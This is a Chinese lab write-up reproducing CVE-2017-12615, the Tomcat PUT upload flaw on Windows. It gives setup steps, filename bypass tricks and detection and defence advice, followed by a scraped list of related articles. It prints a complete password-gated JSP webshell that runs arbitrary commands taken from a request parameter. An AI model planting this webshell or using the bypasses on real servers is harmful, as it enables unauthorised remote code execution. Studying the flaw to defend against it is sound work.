CVE2017-12615漏洞复现( tomcat JSP Upload Bypass /Remote Code Execution)

一、漏洞原理

在windows服务器下,将readonly参数设置为false时,即可通过PUT方式创建一个jsp文件,并可以执行任意代码。Tomcat版本内web.xml配置内无readonly,需要手工添加,默认配置不受此影响。

二、影响版本

Apache Tomcat 7.0.0-7.0.79(Windows环境下)

三、漏洞利用条件

  1. 目标是windows环境
  2. 目标tomcat的版本7.0.0-7.0.79
  3. 管理员配置不当,设置了readonly,并且其值为false
  4. 上传目标的地方具有写入权限

四、环境搭建

Java环境(jdk 1.7)

Tomcat环境(tomcat 7.0.70)

五、漏洞复现

1.测试tomcat环境

   

2.修改web.xml,tomcat版本内web.xml默认没有readonly,首要手工添加,将readonly参数设置为false时,然后就能通过PUT方式创建一个jsp文件,并可以执行任意代码。

  

3.搜索漏洞库,根据poc说明验证漏洞的存在

  

4.启动tomcat,burp抓包,利用PUT请求创建文件,上传内容后,发现上传失败,提示404

  

5.根据漏洞描述中windows环境受影响,可以尝试利用windows的特性(文件名不能以空格结尾,NTFS文件流)来绕过限制

5.1利用文件名不能为空格,在文件名后加空格上传文件,上传失败,提示403

  

5.2提示403,一般可能是因为上传的目标文件夹没有写入权限。查看权限发现目标没有写入权限。

  

5.3给目标文件夹加入写入权限,然后测试

  

5.4浏览器访问上传的文件

  

5.5尝试NTFS文件流,成功上传

  

5.6浏览器测试

  

5.7构造特殊后缀名绕过tomcat检测

  

6.通过以上poc可以证明目标存在文件上传漏洞,上传jsp一句话木马

<%

if("023".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("</pre>");

}

%>

  

7.浏览器访问构造参数,下图可以说明目标存在远程代码执行漏洞

  

六、漏洞分析总结

  1. 通过以上分析可以得出,这个漏洞的利用的前提条件很多,需要目标是windows环境,需要管理员错误配置开启readonly并且设置其值为false等等,漏洞危害性一般。

七、检测与防御

检测:查看是否开启readonly以及是否启用了PUT方法。

防御:

  1. 禁用PUT方法
  2. 设置readonly值为True
  3. 升级到最新版本

Tomcat put上传漏洞_CVE2017-12615( JSP Upload Bypass/Remote Code Execution)的更多相关文章

  1. 17.[CVE-2017-12615]Tomcat任意文件上传漏洞

    [CVE-2017-12615] Tomcat任意文件上传漏洞 首先先贴出wooyun上的一个案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0 ...

  2. WEB安全性测试之文件上传漏洞

    1.漏洞描述:文件上传漏洞,是指可以利用WEB上传一些特定的文件包含特定代码如(<?php phpnfo;?> 可以用于读取服务器配置信息.上传成功后可以点击) 上传漏洞是指用户上传了一个 ...

  3. 【原创】JEECMS v6~v7任意文件上传漏洞(1)

    文章作者:rebeyond 受影响版本:v6~v7 漏洞说明: JEECMS是国内Java版开源网站内容管理系统(java cms.jsp cms)的简称.该系统基于java技术开发,继承其强大.稳定 ...

  4. web安全之文件上传漏洞

    成因: 当文件上传时,若服务端脚本语言未对上传的文件进行严格验证和过滤,若恶意用户上传恶意的 脚本文件时,就有可能控制整个网站甚至是服务器,这就是文件上传漏洞. 权限: 1. 后台权限:登陆了后台,可 ...

  5. 中国电信某站点JBOSS任意文件上传漏洞

    1.目标站点 http://125.69.112.239/login.jsp 2.简单测试 发现是jboss,HEAD请求头绕过失败,猜测弱口令失败,发现没有删除 http://125.69.112. ...

  6. 上传漏洞总结-upload-labs

    介绍: Upload-labs是一个所有类型的上传漏洞的靶场 项目地址:https://github.com/c0ny1/upload-labs 思维导图: 小试牛刀: Pass-01 客户端js检查 ...

  7. DVWA 黑客攻防演练(五)文件上传漏洞 File Upload

    说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映 ...

  8. kindeditor<=4.1.5 文件上传漏洞利用

    kindeditor<=4.1.5 文件上传漏洞 - Kindeditor <=4.1.5 file upload vulnerability and use 漏洞存影响版本:小于等于4. ...

  9. 初级安全入门—— WEBshell与文件上传漏洞

    概念介绍 WebShell网页木马文件 最常见利用文件上传漏洞的方法就是上传网站木马(WebShell)文件,根据开发语言的不同又分为ASP木马.PHP木马.JSP木马等,该木马利用了脚本语言中的系统 ...

随机推荐

  1. ASP.NET Core框架深度学习(三) Server对象

    8.Server   第五个对象 服务器在管道中的职责非常明确,当我们启动应用宿主的WebHost的时候,服务它被自动启动.启动后的服务器会绑定到指定的端口进行请求监听,一旦有请求抵达,服务器会根据该 ...

  2. 2-2-for循环

    重复执行某些代码 每次执行的时候有个数字在变化 常用格式 <script> for(var i=0; i<3; i++){alert(i); } </script> 1) ...

  3. nginx 配置不当导致目录遍历下载漏洞

    今天做百度杯的时候发现一个题很有意思. 点进题目,发现了一个js重定向到login.php,抓包发现请求的header中cookie=0,做过这种类似的题目,o==false,在请求头里面将cooki ...

  4. 控制台程序(C#)不弹出登录窗口连接到Dynamics CRM Online的Web API

    微软动态CRM专家罗勇 ,回复331或者20190505可方便获取本文,同时可以在第一间得到我发布的最新博文信息,follow me! 我之前的文章 控制台程序(C#)不弹出认证窗口连接到Dynami ...

  5. 登录界面storyboard的一种布局方法

    布局思想:三个大点的背景视图宽高相等间距一定(30),左右距父视图距离一定(50),则宽度确定,水平方向位置确定 竖直方向:高度与宽度成一定比例,上边距父视图距离一定,竖直方向的位置和大小也确定了.输 ...

  6. [视频教程] ubuntu系统下安装最新版的MySQL

    视频地址: https://www.bilibili.com/video/av69256331/ 官网文档https://dev.mysql.com/doc/mysql-apt-repo-quick- ...

  7. Day_02

    1.无参数无返回值函数的使用 package main import "fmt" //无参无返回值函数的定义 func MyFunc() { a := 666 fmt.Printl ...

  8. AtCoder - 2282 (思维+构造)

    题意 https://vjudge.net/problem/AtCoder-2282 告诉你sx,sy,tx,ty,问从s走到t,再从t走到s,再从s走到t,再从t回到s的最短路,每次只能上下左右选一 ...

  9. G1 垃圾收集器架构和如何做到可预测的停顿(阿里)

    CMS垃圾回收机制 参考:图解 CMS 垃圾回收机制原理,-阿里面试题 CMS与G1的区别 参考:CMS收集器和G1收集器优缺点 写这篇文章是基于阿里面试官的一个问题:众所周期,G1跟其他的垃圾回收算 ...

  10. unittest执行顺序,使用unittest.main()按照test开头,由0-9,A-Z,a-z的顺序执行; 可使用TestSuite类的addTest方法改变执行顺序;

    import unittestclass Study(unittest.TestCase): # def setUp(self): # print('start') # def tearDown(se ...